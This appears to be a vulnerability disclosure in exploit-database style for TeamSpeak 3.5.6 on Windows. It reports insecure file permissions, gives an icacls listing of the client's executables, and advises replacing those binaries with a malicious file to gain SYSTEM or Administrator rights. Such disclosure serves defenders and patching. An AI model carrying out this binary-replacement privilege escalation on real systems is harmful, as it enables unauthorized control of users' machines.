teamspeak 3.5.6 insecure file permissions

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teamspeak 3.5.6 insecure file permissions Code Code...
				
# Exploit Title: TeamSpeak 3.5.6 - Insecure File Permissions # Date: 2022-02-15 # Exploit Author: Aryan Chehreghani # Contact: aryanchehreghani@yahoo.com # Vendor Homepage: https://www.teamspeak.com # Software Link: https://www.teamspeak.com/en/downloads # Version: 3.5.6 # Tested on: Windows 10 x64 # [ About - TeamSpeak ]: #TeamSpeak (TS) is a proprietary voice-over-Internet Protocol (VoIP), #application for audio communication between users on a chat channel, #much like a telephone conference call, Users typically use headphones with a microphone, #The client software connects to a TeamSpeak server of the user's choice from which the user may join chat channels, #The target audience for TeamSpeak is gamers, who can use the software to communicate, #with other players on the same team of a multiplayer video game, #Communicating by voice gives a competitive advantage by enabling players to keep their hands on the controls. # [ Description ]: #The TeamSpeak Application was installed with insecure file permissions. #It was found that all folder and file permissions were incorrectly configured during installation. #It was possible to replace the service binary. # [ POC ]: C:\Users\user\AppData\Local\TeamSpeak 3 Client>icacls *.exe createfileassoc.exe NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F) WIN-FREMP1UB3LB\Administrator:(F) error_report.exe NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F) WIN-FREMP1UB3LB\Administrator:(F) package_inst.exe NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F) WIN-FREMP1UB3LB\Administrator:(F) QtWebEngineProcess.exe NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F) WIN-FREMP1UB3LB\Administrator:(F) ts3client_win32.exe NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F) WIN-FREMP1UB3LB\Administrator:(F) Uninstall.exe NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F) WIN-FREMP1UB3LB\Administrator:(F) update.exe NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F) WIN-FREMP1UB3LB\Administrator:(F) Successfully processed 7 files; Failed processing 0 files # [ Exploit - Privilege Escalation ]: #Replace ts3client_win32.exe,update.exe,package_inst.exe,QtWebEngineProcess.exe,createfileassoc.exe and other ... #with any executable malicious file you want then wait and get SYSTEM or Administrator rights (Privilege Escalation)


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